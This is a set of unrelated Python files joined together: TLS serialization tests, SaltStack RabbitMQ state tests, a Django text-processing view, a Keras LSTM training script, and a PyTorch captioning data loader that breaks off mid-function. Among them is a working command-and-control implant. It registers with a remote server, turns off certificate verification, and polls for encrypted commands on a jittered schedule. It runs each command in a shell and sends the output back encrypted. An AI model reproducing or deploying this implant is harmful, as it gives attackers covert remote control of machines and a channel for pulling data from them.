        :py:meth:`tls._common._constructs.PrefixedBytes` and vice versa.
        """
        parsed = prefixed_bytes.parse(encoded)
        assert prefixed_bytes.build(parsed) == encoded
        unparsed = prefixed_bytes.build(bytestring)
        assert prefixed_bytes.parse(unparsed) == bytestring

@pytest.mark.parametrize("bytestring,encoded,length_field", [
    (b"", b"\x00\x00" + b"", UBInt16("length")),
    (b"some value", b"\x00\x00\x0A" + b"some value", UBInt24("length"))
])
class TestPrefixedBytesWithOverriddenLength(object):
    """
    Tests for :py:func:`tls._common._constructs.PrefixedBytes` with a
    user-supplied ``length_field`` construct.
    """

    def test_build(self, bytestring, encoded, length_field):
        """
        :py:meth:`tls._common._constructs.PrefixedBytes` uses the supplied
        ``length_field`` to encode :class:`bytes` as a length-prefix
        binary sequence.
        """
        prefixed_bytes = PrefixedBytes("name", length_field=length_field)
        assert prefixed_bytes.build(bytestring) == encoded

    def test_parse(self, bytestring, encoded, length_field):
        """
        :py:meth:`tls._common._constructs.PrefixedBytes` decodes a
        length-prefixed binary sequence into :py:class:`bytes` according to the
        supplied ``length_field``.
        """
        prefixed_bytes = PrefixedBytes("name", length_field=length_field)
        assert prefixed_bytes.parse(encoded) == bytestring

    def test_round_trip(self, bytestring, encoded, length_field):
        """
        :py:meth:`tls._common._constructs.PrefixedBytes` decodes a
        length-prefixed binary sequence encoded by
        :py:meth:`tls._common._constructs.PrefixedBytes` when the two share a
        ``length_field`` and vice versa.
        """
        prefixed_bytes = PrefixedBytes("name", length_field)
        parsed = prefixed_bytes.parse(encoded)
        assert prefixed_bytes.build(parsed) == encoded
        unparsed = prefixed_bytes.build(bytestring)
        assert prefixed_bytes.parse(unparsed) == bytestring

@pytest.mark.parametrize(
    "ints,uint8_encoded",
    [([], b'\x00\x00' + b''),
     ([1, 2, 3], b'\x00\x03' + b'\x01\x02\x03'),
     ([1] * 65535, b'\xFF\xFF' + b'\x01' * 65535)])
class TestTLSPrefixedArrayWithDefaultLengthFieldSize(object):
    """
    Tests for :py:func:`tls._common._constructs.TLSPrefixedArray` where the
    ``length_field_size`` defaults to :py:class`UBInt16`.
    """

    @pytest.fixture
    def tls_array(self):
        """
        A :py:func:`tls._common._constructs.TLSPrefixedArray` of
        :py:func:`construct.macros.UBInt8`.
        """
        return TLSPrefixedArray("digits", UBInt8("digit"))

    def test_build(self, tls_array, ints, uint8_encoded):
        """
        A :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on a
        given :py:func:`construct.Construct` encodes a sequence of objects as a
        16-bit length followed by each object as encoded by that construct.
        """
        assert tls_array.build(ints) == uint8_encoded

    def test_parse(self, tls_array, ints, uint8_encoded):
        """
        A :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on a
        given :py:func:`construct.Construct` decodes a binary sequence,
        prefixed by its 16-bit length, as a :py:class:`list` of objects decoded
        by that construct.
        """
        assert tls_array.parse(uint8_encoded) == ints

    def test_round_trip(self, tls_array, ints, uint8_encoded):
        """
        A :py:meth:`tls._common._constructs.TLSPrefixedArray` decodes a
        length-prefixed binary sequence encoded by a
        :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on the
        same construct and vice versa.
        """

        parsed = tls_array.parse(uint8_encoded)
        assert tls_array.build(parsed) == uint8_encoded
        unparsed = tls_array.build(ints)
        assert tls_array.parse(unparsed) == ints

@pytest.mark.parametrize(
    "ints,uint8_encoded",
    [([], b'\x00\x00\x00' + b''),
     ([1, 2, 3], b'\x00\x00\x03' + b'\x01\x02\x03'),
     ([1] * 65535, b'\x00\xFF\xFF' + b'\x01' * 65535)])
class TestTLSPrefixedArrayWithCustomLengthFieldSize(object):
    """
    Tests for :py:func:`tls._common._constructs.TLSPrefixedArray` where the
    ``length_field_size`` is supplied by the user.
    """

    @pytest.fixture
    def tls_array(self):
        """
        A :py:func:`tls._common._constructs.TLSPrefixedArray` of
        :py:func:`construct.macros.UBInt8` where the length prefix for the
        array size is specified with a :py:class`UBInt24` value.
        """
        return TLSPrefixedArray("digits", UBInt8("digit"),
                                length_field_size=UBInt24)

    def test_build(self, tls_array, ints, uint8_encoded):
        """
        A :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on a
        given :py:func:`construct.Construct` encodes a sequence of objects as a
        24-bit length (since ``TLSPrefixedArray.length_field_size`` has been
        set to :py:class`UBInt24`, overriding the default :py:class`UBInt16`)
        followed by each object as encoded by that construct.
        """
        assert tls_array.build(ints) == uint8_encoded

    def test_parse(self, tls_array, ints, uint8_encoded):
        """
        A :py:meth:`tls._common._constructs.TLSPrefixedArray` specialized on a
        given :py:func:`construct.Construct` decodes a binary sequence,
        prefixed by its 24-bit length (since
        ``TLSPrefixedArray.length_field_size`` has been set to
        :py:class`UBInt24`, overriding the default :py:class`UBInt16`), as a
        :py:class:`list` of objects decoded by that construct.
        """
        assert tls_array.parse(uint8_encoded) == ints

    def test_round_trip(self, tls_array, ints, uint8_encoded):
        """
        A :py:meth:`tls._common._constructs.TLSPrefixedArray` decodes a
        length-prefixed binary sequence encoded by a
        :py:meth:`tls._common._constructs.TLSPrefixedArray` with a custom
        ``length_field_value`` of :py:class`UBInt24` overriding the default
        :py:class`UBInt16` specialized on the same construct and vice versa.
        """

        parsed = tls_array.parse(uint8_encoded)
        assert tls_array.build(parsed) == uint8_encoded
        unparsed = tls_array.build(ints)
        assert tls_array.parse(unparsed) == ints

class Equals5(Validator):
    """
    A test fixture :py:class:`construct.adapters.Validator` subclass
    that ensures a numeric field equals 5.
    """

    def _validate(self, obj, context):
        return obj == 5

class TestTLSPrefixedArrayWithLengthValidator(object):
    """
    Tests for :py:class:`tls._common._constructs.TLSPrefixedArray` with a
    ``length_validator``.
    """

    @pytest.fixture
    def TLSUBInt8Array(self):  # noqa
        """
        A :py:class:`tls._common._constructs.TLSPrefixedArray` specialized on
        :py:func:`construct.macros.UBInt8`
        """
        return TLSPrefixedArray("data", UBInt8("datum"))

    @pytest.fixture
    def TLSUBInt8Length5Array(self):  # noqa
        """
        Like
        :py:meth:`TLSPrefixedArrayWithLengthValidator.TLSUBInt8Length5Array`,
        but only accepts arrays of length 5.
        """
        return TLSPrefixedArray("data", UBInt8("datum"),
                                length_validator=Equals5)

    @pytest.mark.parametrize('invalid', [
        [1, 2, 3, 4],  # noqa
        [1, 2, 3, 4, 5, 6],
    ])
    def test_build_invalid(self, TLSUBInt8Length5Array, invalid):
        """
        :py:class:`tls._common._constructs.TLSPrefixedArray` raises a
        :py:exc:`construct.adapters.ValidationError` when encoding a
        list with an invalid length.
        """
        with pytest.raises(ValidationError):
            TLSUBInt8Length5Array.build(invalid)

    @pytest.mark.parametrize('invalid', [
        b'\x00\x04' + b'\x01\x02\x03\x04',  # noqa
        b'\x00\x06' + b'\x01\x02\x03\x04\x05\x06',
    ])
    def test_parse_invalid(self, TLSUBInt8Length5Array, invalid):
        """
        :py:class:`tls._common._constructs.TLSPrefixedArray` raises a
        :py:exc:`construct.adapters.ValidationError` when decoding an
        array with an invalid length.
        """
        with pytest.raises(ValidationError):
            TLSUBInt8Length5Array.parse(invalid)

    def test_parse_valid(self, TLSUBInt8Length5Array, TLSUBInt8Array):  # noqa
        """
        :py:class:`tls._common._constructs.TLSPrefixedArray` decodes an array
        that passes validation.
        """
        valid = b'\x00\x05' + b'\x01\x02\x03\x04\x05'
        assert TLSUBInt8Array.parse(valid) == TLSUBInt8Array.parse(valid)

    def test_build_valid(self, TLSUBInt8Length5Array, TLSUBInt8Array):   # noqa
        """
        :py:class:`tls._common._constructs.TLSPrefixedArray` encodes an array
        that passes validation.
        """
        valid = [1, 2, 3, 4, 5]
        assert TLSUBInt8Array.build(valid) == TLSUBInt8Array.build(valid)

class TestOpaque(object):
    """
    Tests for :py:func:`tls._common._constructs.Opaque`.
    """

    @pytest.fixture
    def opaque_ubint16(self):
        """
        A :py:func:`tls._common._constructs.Opaque` specialized on
        :py:func:`construct.UBInt16`.
        """
        return Opaque(UBInt16("datum"))

    def test_parse(self, opaque_ubint16):
        """
        :py:func:`tls._common._constructs.Opaque` decodes an opaque 16
        bit integer.
        """
        assert opaque_ubint16.parse(b'\x00\x02\x02\x80') == 640

    def test_build(self, opaque_ubint16):
        """
        :py:func:`tls._common._constructs.Opaque` encodes a 16 bit
        integer as an opaque sequence of bytes.
        """
        assert opaque_ubint16.build(640) == b'\x00\x02\x02\x80'

class IntegerEnum(enum.Enum):
    """
    An enum of :py:class:`int` instances.  Used as a test fixture.
    """
    FIRST = 1
    SECOND = 2
    MILLION = 1 << 20

class UnicodeEnum(enum.Enum):
    """
    An enum of :py:class:`str` (or :py:class:`unicode`) instances.  Used as
    a test fixture.
    """
    TEXT = u"\u2022 TEXT"

class TestEnumClass(object):
    """
    Tests for :py:func:`tls._common._constructs.EnumClass`.
    """

    @pytest.fixture
    def UBInt8Enum(self):  # noqa
        """
        A :py:func:`tls._common._constructs.EnumClass` that adapts
        :py:class:`IntegerEnum`'s members to :py:func:`UBInt8`.
        """
        return EnumClass(UBInt8("type"), IntegerEnum)

    def test_build(self, UBInt8Enum):  # noqa
        """
        :py:func:`tls._common._constructs.EnumClass` encodes members of its
        enum according to its construct.
        """
        assert UBInt8Enum.build(IntegerEnum.FIRST) == b'\x01'

    def test_parse(self, UBInt8Enum):  # noqa
        """
        :py:func:`tls._common._constructs.EnumClass` decodes a binary sequence
        as members of its enum via its construct.
        """
        assert UBInt8Enum.parse(b'\x02') == IntegerEnum.SECOND

    def test_build_enum_has_wrong_type(self, UBInt8Enum):  # noqa
        """
        :py:func:`tls._common._constructs.EnumClass` raises
        :py:exc:`construct.adapters.MappingError` when encoding
        something that isn't a member of its enum.
        """
        with pytest.raises(MappingError):
            UBInt8Enum.build(UnicodeEnum.TEXT)

@pytest.mark.parametrize('type_,value,encoded', [
    (IntegerEnum.FIRST, 1, b'\x01' + b'\x00\x01'),
    (IntegerEnum.SECOND, 1, b'\x02' + b'\x00\x00\x01'),
])
class TestEnumSwitch(object):
    """
    Tests for :py:func:`tls._common._constructs.EnumSwitch`.
    """

    @pytest.fixture
    def UBInt8EnumMappedStruct(self):  # noqa
        """
        A :py:class:`construct.core.Struct` containing an
        :py:func:`tls._common._constructs.EnumSwitch` that switches on
        :py:class:`IntegerEnum`.  The struct's ``value`` field varies
        depending on the value of its ``type`` and the corresponding
        enum member specified in the ``value_choices`` dictionary
        passed to the :py:func:`tls._common._constructs.EnumSwitch`.
        """
        return Struct(
            "UBInt8EnumMappedStruct",
            *EnumSwitch(type_field=UBInt8("type"),
                        type_enum=IntegerEnum,
                        value_field="value",
                        value_choices={
                            IntegerEnum.FIRST: UBInt16("UBInt16"),
                            IntegerEnum.SECOND: UBInt24("UBInt24")}))

    def test_build(self, UBInt8EnumMappedStruct, type_, value, encoded):  # noqa
        """
        A struct that contains :py:func:`tls._common._constructs.EnumSwitch`
        encodes its ``value_field`` according to the enum member specified in
        its ``type_field``.
        """
        container = Container(type=type_, value=value)
        assert UBInt8EnumMappedStruct.build(container) == encoded

    def test_parse(self, UBInt8EnumMappedStruct, type_, value, encoded):  # noqa
        """
        A struct that contains :py:func:`tls._common._constructs.EnumSwitch`
        decodes its value field according to the enum member specified by its
        ``type_field``.
        """
        container = UBInt8EnumMappedStruct.parse(encoded)
        assert Container(type=type_, value=value) == container

    def test_round_trip(self, UBInt8EnumMappedStruct, type_, value, encoded):  # noqa
        """
        A struct that contains :py:func:`tls._common._constructs.EnumSwitch`
        decodes a binary sequence encoded by a struct with that same
        :py:func:`tls._common._constructs.EnumSwitch` and vice versa.
        """
        parsed = UBInt8EnumMappedStruct.parse(encoded)
        assert UBInt8EnumMappedStruct.build(parsed) == encoded

        container = Container(type=type_, value=value)
        unparsed = UBInt8EnumMappedStruct.build(container)
        assert UBInt8EnumMappedStruct.parse(unparsed) == container

@pytest.mark.parametrize('type_,value,encoded', [
    (IntegerEnum.SECOND, None, b'\x02'),
])
class TestEnumSwitchWithDefault(object):
    """
    Tests for :py:func:`tls._common._constructs.EnumSwitch`, when a default is
    provided, and no matching members are found for the input keys.
    """
    @pytest.fixture
    def UBInt8EnumMappedStructWithDefault(self):  # noqa
        """
        Like ``UBInt8EnumMappedStruct`` but with a default value.
        """
        return Struct(
            "UBInt8EnumMappedStructWithDefault",
            *EnumSwitch(type_field=UBInt8("type"),
                        type_enum=IntegerEnum,
                        value_field="value",
                        value_choices={
                            IntegerEnum.FIRST: UBInt16("UBInt16")},
                        default=Pass))

    def test_parse_default(self, UBInt8EnumMappedStructWithDefault, type_, value, encoded):  # noqa
        """
        A struct that contains :py:func:`tls._common._constructs.EnumSwitch`
        decodes its value field according to the enum member specified in the
        default, when no match is found in the``value_choices`` provided.
        """
        container = UBInt8EnumMappedStructWithDefault.parse(encoded)
        assert Container(type=type_, value=value) == container

    def test_build_default(self, UBInt8EnumMappedStructWithDefault, type_, value, encoded):  # noqa
        """
        A struct that contains :py:func:`tls._common._constructs.EnumSwitch`
        encodes its ``value_field`` according to the ``default`` specified when
        no match is found in the ``value_choices`` provided.
        """
        container = Container(type=type_, value=value)
        assert UBInt8EnumMappedStructWithDefault.build(container) == encoded

@pytest.mark.parametrize('min_size,num,acceptable', [
    (0, 0, True),
    (1, 0, False),
    (1, 1, True),
    (1, 2, True),
])
def test_size_at_least_validate(min_size, num, acceptable):
    """
    :py:meth:`SizeAtLeast._validate` enforces its minimum size
    inclusively when encoding numbers.
    """
    bounded = SizeAtLeast(Construct(name="test"), min_size=min_size)
    if acceptable:
        assert bounded._validate(num, context=object())
    else:
        assert not bounded._validate(num, context=object())

@pytest.mark.parametrize('max_size,num,acceptable', [
    (0, 0, True),
    (1, 0, True),
    (1, 1, True),
    (1, 2, False),
])
def test_size_at_most_validate(max_size, num, acceptable):
    """
    :py:meth:`SizeAtMost._validate` enforces its maximum size
    inclusively when encoding numbers.
    """
    bounded = SizeAtMost(Construct(name="test"), max_size=max_size)
    if acceptable:
        assert bounded._validate(num, context=object())
    else:
        assert not bounded._validate(num, context=object())

@pytest.mark.parametrize('min_size,max_size,num,acceptable', [
    (0, 0, 0, True),
    (0, 2, 0, True),
    (1, 2, 1, True),
    (1, 2, 2, True),
    (1, 2, 3, False)
])
def test_size_within_validate(min_size, max_size, num, acceptable):
    """
    :py:meth:`SizeWithin._validate` enforces its maximum size
    inclusively when encoding numbers.
    """
    bounded = SizeWithin(Construct(name="test"),
                         min_size=min_size, max_size=max_size)
    if acceptable:
        assert bounded._validate(num, context=object())
    else:
        assert not bounded._validate(num, context=object())


"""
    :codeauthor: Jayesh Kariya <jayeshk@saltstack.com>
"""

import pytest

import salt.states.rabbitmq_vhost as rabbitmq_vhost
from tests.support.mock import MagicMock, patch

@pytest.fixture
def configure_loader_modules():
    return {rabbitmq_vhost: {}}

# 'present' function tests: 1

def test_present():
    """
    Test to ensure the RabbitMQ VHost exists.
    """
    name = "virtual_host"

    ret = {
        "name": name,
        "changes": {"new": "virtual_host", "old": ""},
        "result": None,
        "comment": "Virtual Host 'virtual_host' will be created.",
    }

    mock = MagicMock(return_value=False)
    with patch.dict(rabbitmq_vhost.__salt__, {"rabbitmq.vhost_exists": mock}):
        with patch.dict(rabbitmq_vhost.__opts__, {"test": True}):
            assert rabbitmq_vhost.present(name) == ret

# 'absent' function tests: 1

def test_absent():
    """
    Test to ensure the named user is absent.
    """
    name = "myqueue"

    ret = {
        "name": name,
        "changes": {},
        "result": True,
        "comment": "Virtual Host '{}' is not present.".format(name),
    }

    mock = MagicMock(return_value=False)
    with patch.dict(rabbitmq_vhost.__salt__, {"rabbitmq.vhost_exists": mock}):
        assert rabbitmq_vhost.absent(name) == ret


from django.http import HttpResponse
from django.shortcuts import render

def index(request):
    return render(request,'index.html')

def analyze(request):

    djtext = request.POST.get('text', 'default')
    removepunc = request.POST.get('removepunc','off')
    fullcaps = request.POST.get('fullcaps', 'off')
    newlineremover = request.POST.get('newlineremover', 'off')
    extraspaceremover = request.POST.get('extraspaceremover', 'off')
    charcount = request.POST.get('charcount', 'off')

    if removepunc == "on":
        punctuations = '''!()-[]{};:'"\,<>./?@#$%^&*_~'''
        analyzed = ""
        for char in djtext:
            if char not in punctuations:
                analyzed = analyzed + char
        params = {'purpose':'Removed punctuations','analyzed_text':analyzed}
        djtext = analyzed

    if fullcaps == "on":
        analyzed = ""
        for char in djtext:
            analyzed = analyzed + char.upper()
        params = {'purpose': 'Capitalized Statement', 'analyzed_text': analyzed}
        djtext = analyzed

    if newlineremover == "on":
        analyzed = ""
        for char in djtext:
            # \n and \r are used to to transport the newline character to
            if char != "\n" and char!="\r":
                analyzed = analyzed + char
        params = {'purpose': 'Removed New Lines', 'analyzed_text': analyzed}
        djtext = analyzed

    if extraspaceremover == "on":
        analyzed = ""
        # enumerate will return the index of the characters in string
        for index, char in enumerate(djtext):
            if not (djtext[index] == " " and djtext[index + 1] == " "):
                analyzed = analyzed + char
        params = {'purpose': 'Removed extra spaces', 'analyzed_text': analyzed}
        djtext = analyzed

    if charcount == "on":
        total = 1
        for i in range(len(djtext)):
            if (djtext[i] == ' ' or djtext == '\n' or djtext == '\t'):
                total = total + 1
        params = {'purpose': 'Character count is', 'analyzed_text': 'Character count of your text is : ' + str(total)}

    if (removepunc != "on" and newlineremover != "on" and extraspaceremover != "on" and fullcaps != "on" and charcount != "on"):
        return HttpResponse("please select any operation and try again")

    return render(request, 'index.html', params)


import urllib.request
import random
from time import sleep
import subprocess
import ssl
import urllib.parse
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
import base64
import hashlib
from Crypto import Random
from os import listdir

host = "" # Address of the host running server.py
port = "" # Listening port of server.py
register_dir = ""
command_dir = "command"
response_dir = "response"

CON_FAIL_LIMIT = 5
CONN_FAIL_RETRY_TIME = 10

base_url = f"https://{host}:{port}"
ssl_ctx = ssl.create_default_context()
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE

class AESCipher(object):
    """
    A classical AES Cipher. Can use any size of data and any size of password thanks to padding.
    Also ensure the coherence and the type of the data with a unicode to byte converter.
    """
    def __init__(self, key):
        self.bs = 16
        self.key = hashlib.sha256(AESCipher.str_to_bytes(key)).digest()

    @staticmethod
    def str_to_bytes(data):
        u_type = type(b''.decode('utf8'))
        if isinstance(data, u_type):
            return data.encode('utf8')
        return data

    def _pad(self, s):
        return s + (self.bs - len(s) % self.bs) * AESCipher.str_to_bytes(chr(self.bs - len(s) % self.bs))

    @staticmethod
    def _unpad(s):
        return s[:-ord(s[len(s)-1:])]

    def encrypt(self, raw):
        raw = self._pad(AESCipher.str_to_bytes(raw))
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw)).decode('utf-8')

    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[:AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')

def generate_keys():
    key = RSA.generate(2048)
    private_key = key.export_key()
    public_key = key.publickey().export_key()
    return public_key, private_key

def decrypt(enc_data, private_key):
    private_key = RSA.import_key(private_key)

    enc_session_key = enc_data[:private_key.size_in_bytes()]
    nonce = enc_data[private_key.size_in_bytes():private_key.size_in_bytes() + 16]
    tag = enc_data[private_key.size_in_bytes() + 16:private_key.size_in_bytes() + 32]
    ciphertext = enc_data[private_key.size_in_bytes() + 32:]
    cipher_rsa = PKCS1_OAEP.new(private_key)
    session_key = cipher_rsa.decrypt(enc_session_key)
    cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
    data = cipher_aes.decrypt_and_verify(ciphertext, tag)
    return data.decode("utf-8")

def extract_id_and_key(data, private_key):
    data = base64.b64decode(data)
    data = decrypt(data, private_key)
    id = data[:16]
    key = data[16:]
    return id, key

if __name__ == "__main__":
    pub, priv = generate_keys()
    print(pub)
    pub = base64.b64encode(pub).decode('utf-8')
    register_url = base_url + f"/{register_dir}?key={pub}&auth=testauth"
    try:
        request = urllib.request.urlopen(register_url, context=ssl_ctx)
    except:
        exit(-1)
    request = request.read().decode('utf-8')
    id, key = extract_id_and_key(request, priv)

    cipher = AESCipher(key)
    command = None
    jlo = 1
    jhi = 10
    conn_fail_count = 0
    while command != "exit":
        command_url = base_url + f"/{command_dir}?id={id}"
        response_url = base_url + f"/{response_dir}?id={id}"
        #print(f"Waiting {jitter} seconds...")
        jitter = random.randint(jlo, jhi)
        try:
            request = urllib.request.urlopen(command_url+f"&jit={jitter}", context=ssl_ctx)
            conn_fail_count = 0
        except urllib.error.URLError:
            conn_fail_count += 1
            print("Failed to connect to server ...")
            print(f"Fail number {conn_fail_count}")
            if conn_fail_count == CON_FAIL_LIMIT:
                print("Max connection failures reached, exiting")
                exit(-1)
            sleep(CONN_FAIL_RETRY_TIME)
            continue
        commands = request.read().decode('utf-8')
        if commands != "":
            commands = cipher.decrypt(commands)
            commands = commands.split("////")
            replys = []
            for command in commands:
                if "::::" in command:
                    command = command[4:]
                    command = command.split()
                    if command[0] == "adj_jitter":
                        jlo = int(command[1])
                        jhi = int(command[2])
                    if command[0] == "listdir":
                        directory = command[1]
                        try:
                            directory_contents = listdir(directory)
                        except:
                            directory_contents = "Failed"
                        directory_contents = "\r\n".join(directory_contents)
                        reply = f"{command}////{directory_contents}"
                        reply = cipher.encrypt(reply).encode('utf-8')
                        response_url += f"&response={urllib.parse.quote(reply)}"
                        urllib.request.urlopen(response_url, context=ssl_ctx)

                else:
                    proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    stdout_value = proc.communicate()[0].decode('utf-8')
                    stdout_value = stdout_value.rstrip()
                    reply = f"{command}////{stdout_value}"

                    reply = cipher.encrypt(reply).encode('utf-8')
                    response_url += f"&response={urllib.parse.quote(reply)}"
                    urllib.request.urlopen(response_url, context=ssl_ctx)
        sleep(jitter)


import pandas as pd
from sklearn.preprocessing import MinMaxScaler
from sklearn.externals import joblib
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation
from keras.callbacks import TensorBoard
import json
from keras.layers import CuDNNLSTM
scalers = [MinMaxScaler(feature_range=(0, 1)), MinMaxScaler(feature_range=(0, 1))]

def parse_all(file):
    print(file)
    raw_data = pd.read_csv("Data/" + file + ".csv")
    return raw_data

def main():
    holder = {}
    X = pd.DataFrame()
    for year in range(15, 18):
        for station in [2, 7, 11, 14]:
            file = str(station).zfill(2) + '_' + str(year)
            y = parse_all(file)
            if year in holder:
                holder[year] = pd.merge(holder[year], y, how="outer", on="date", sort=False)
            else:
                holder[year] = y

    for key in holder:
        X = X.append(other=holder[key], ignore_index=True)

    X.to_csv("Data/Features.csv")
    X.dropna(thresh=6, inplace=True)
    X.fillna(-1, inplace=True)
    target_raw = pd.read_csv("Data/MonthlyTarget.csv")
    weeks = [0 for _ in range(len(target_raw))]
    for date in X['date'].get_values():
        which = (int(date[2:-3]) - 1) + (int(date[-2:]) - 15) * 12
        weeks[which] = weeks[which] + 1
    print(weeks)

    targets = target_raw['target'].get_values()
    y = []
    for ind, people in enumerate(targets):
        amp = [people // weeks[ind] for _ in range(weeks[ind])]
        y.extend(amp)

    y = pd.Series(y).values.astype('float32').reshape(-1, 1)
    split = (y.shape[0] // 3) * 2
    y = scalers[0].fit_transform(y)
    y_test = y[split:, :]
    y = y[:split, :]

    # X = pd.read_csv("KNN.csv")
    X = X.drop("date", axis=1)
    print(X[:5])
    X = X.values.astype('float32')
    svm_X = X
    X = scalers[1].fit_transform(X)
    all_X = X.reshape((X.shape[0], 1, X.shape[1]))

    X_test = X[split:]
    X_test = X_test.reshape((X_test.shape[0], 1, X_test.shape[1]))
    X = X[:split]
    X = X.reshape((X.shape[0], 1, X.shape[1]))
    print("{} {}".format(X.shape, y.shape))
    model_fit([CuDNNLSTM(50, input_shape=(X.shape[1], X.shape[2]), return_sequences=True),
               Dropout(0.2),
               CuDNNLSTM(100),
               Dropout(0.2),
               Dense(1),
               Activation('linear')],
              train_X=X, train_y=y, test_X=X_test, test_y=y_test, optim='rmsprop', batch=50)
    return
    model_fit([CuDNNLSTM(250, input_shape=(X.shape[1], X.shape[2]), return_sequences=True),
               Dropout(0.2),
               CuDNNLSTM(200, return_sequences=True),
                    Dropout(0.2),
                    CuDNNLSTM(300),
                    Dense(1),
                    Activation('linear')],
                   train_X=X, train_y=y, test_X=X_test, test_y=y_test, batch=5, save=True)

def model_fit(layers, train_X, train_y, test_X, test_y, epochs=500, optim='rmsprop', batch=10, save=False):
    call = TensorBoard(log_dir='./Graph', histogram_freq=0,
                                write_graph=True, write_images=True)
    model = Sequential(layers)
    model.compile(loss='mean_squared_error', optimizer=optim)
    model.fit(train_X, train_y, batch_size=batch, epochs=epochs, verbose=1, shuffle=False,
                     validation_data=(test_X, test_y), callbacks=[call])
    if save:
        model.save("models/lstm.h5")
        with open('models/lstm.json', 'w') as file:
            json.dump(model.to_json(), file, indent=2)
        model.save_weights('models/lstm_weights.h5')
        joblib.dump(scalers[1], "models/x_scaler.save")
        joblib.dump(scalers[0], "models/y_scaler.save")

main()


import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.utils.data import Dataset,DataLoader
from torch.autograd import Variable
from torch import optim
import os
import numpy as np
from functools import reduce
import operator
import json
import random
import time
import math
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
assert os and np and F and math

class Datamanager:
    def __init__(self,vocabulary_file=None, min_count= None, max_length=0):
        self.voc=Vocabulary(vocabulary_file=vocabulary_file,min_count=min_count)
        self.data={}
        self.vocab_size= self.voc.n_words
        self.max_length=max_length
    def get_data(self,name,f_path,l_path,mode,batch_size,shuffle=True):
        # self.data[name]=[ dataloader, labels]
        feats={}
        captions_id={}
        captions_str={}
        max_sen=0
        for i in os.listdir(f_path):
            if not i.startswith('.'):
                x=torch.FloatTensor(np.load('{}/{}'.format(f_path,i)))
                feats[i[:-4]]=x

        with open(l_path) as f:
            labels=json.load(f)
        if mode== 'train':
            for l in labels:
                m=self.voc.addSentence(l['caption'])
                if m>max_sen: max_sen=m
            self.max_length=max_sen+2
            self.vocab_size=self.voc.n_words
            # save the captions_str is for getting the grounded sequence when evaluating
            for l in labels:
                captions_id[l['id']]=self.IndexFromSentence(l['caption'],begin=True,end=True)
                captions_str[l['id']]=[x.rstrip('.') for x in l['caption']]
        elif mode== 'test':
            # save the captions_str is for getting the grounded sequence when evaluating
            for l in labels:
                captions_id[l['id']]=self.IndexFromSentence([l['caption'][0]],begin=True,end=True)
                captions_str[l['id']]= [x.rstrip('.') for x in l['caption']]
        else : raise ValueError('Wrong mode.')
        dataset=VideoDataset(feats,captions_id)
        self.data[name]= [DataLoader(dataset, batch_size=batch_size, shuffle=shuffle), captions_str]
    def get_test_data(self,name,f_path, batch_size,shuffle=False):
        # self.data[name]=dataloader
        feats={}
        for i in os.listdir(f_path):
            if not i.startswith('.'):
                x=torch.FloatTensor(np.load('{}/{}'.format(f_path,i)))
                feats[i[:-4]]=x

        dataset=VideoDataset(feats)
        self.data[name]= DataLoader(dataset, batch_size=batch_size, shuffle=shuffle)
    def IndexFromSentence(self,sentences,begin=False,end=True):
        indexes=[]
        for s in sentences:
            index=[]
            if begin: index.append(self.voc.word2index('SOS'))
            index.extend([self.voc.word2index(word) for  word in s.split(' ')])
            if end: index.append(self.voc.word2index('EOS'))
            if len(index)< self.max_length :
                index.extend([self.voc.word2index('PAD') for i in range(self.max_length  -len(index))])
            indexes.append(index)
        indexes = torch.LongTensor(indexes)
        return indexes
    def train(self,input_variable, target_variable, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion, words, teacher_forcing_ratio=1):
        encoder.train()
        decoder.train()
        encoder_optimizer.zero_grad()
        decoder_optimizer.zero_grad()

        loss = Variable(torch.cuda.FloatTensor([0]).cuda())
        loss_n = 0

        encoder_outputs, encoder_hidden = encoder(input_variable)

        #decoder_hidden= decoder.hidden_layer(len(input_variable))
        decoder_hidden= encoder_hidden
        decoder_input=torch.index_select(target_variable, 1, Variable(torch.LongTensor([0])).cuda())

        use_teacher_forcing = True if random.random() < teacher_forcing_ratio else False

        for di in range(1,self.max_length):
            decoder_output, decoder_hidden= decoder(
                decoder_input, decoder_hidden, encoder_outputs)
            if use_teacher_forcing:
                # Teacher forcing: Feed the target as the next input
                decoder_input=torch.index_select(target_variable, 1, Variable(torch.LongTensor([di])).cuda())
                target=decoder_input.view(-1)
                l,n = self.loss(criterion,decoder_output, target)
                loss = loss + l
                loss_n += n
                words.append(decoder_output.data.max(1,keepdim=True)[1])
            else:
                # Without teacher forcing: use its own predictions as the next input
                ni = decoder_output.data.max(1,keepdim=True)[1]
                decoder_input = Variable(ni)
                target=torch.index_select(target_variable, 1, Variable(torch.LongTensor([di])).cuda()).view(-1)
                l,n = self.loss(criterion,decoder_output, target)
                loss = loss + l
                loss_n += n
                words.append(ni)

        loss=loss / loss_n
        loss.backward()
        encoder_optimizer.step()
        decoder_optimizer.step()
        return float(loss)/ (self.max_length)
    def trainIters(self,encoder, decoder, name, test_name, n_epochs, write_file, plot_file, learning_rate=0.001, print_every=2):
        encoder_optimizer = optim.Adam(encoder.parameters(), lr=learning_rate)
        decoder_optimizer = optim.Adam(decoder.parameters(), lr=learning_rate)

        criterion = nn.CrossEntropyLoss(size_average=False)
        teacher_forcing_ratio=F.sigmoid(torch.linspace(30,-5,n_epochs))
        data_size = len(self.data[name][0].dataset)
        record=0
        loss_bleu_list=[]
        for epoch in range(n_epochs):
            start = time.time()
            loss_total=0
            print_loss_total = 0  # Reset every print_every
            bleu=[]
            for step, (batch_x, batch_y, video) in enumerate(self.data[name][0]):
                batch_index=step+1
                batch_x=Variable(batch_x).cuda()
                batch_y=Variable(batch_y).cuda()
                words=[]

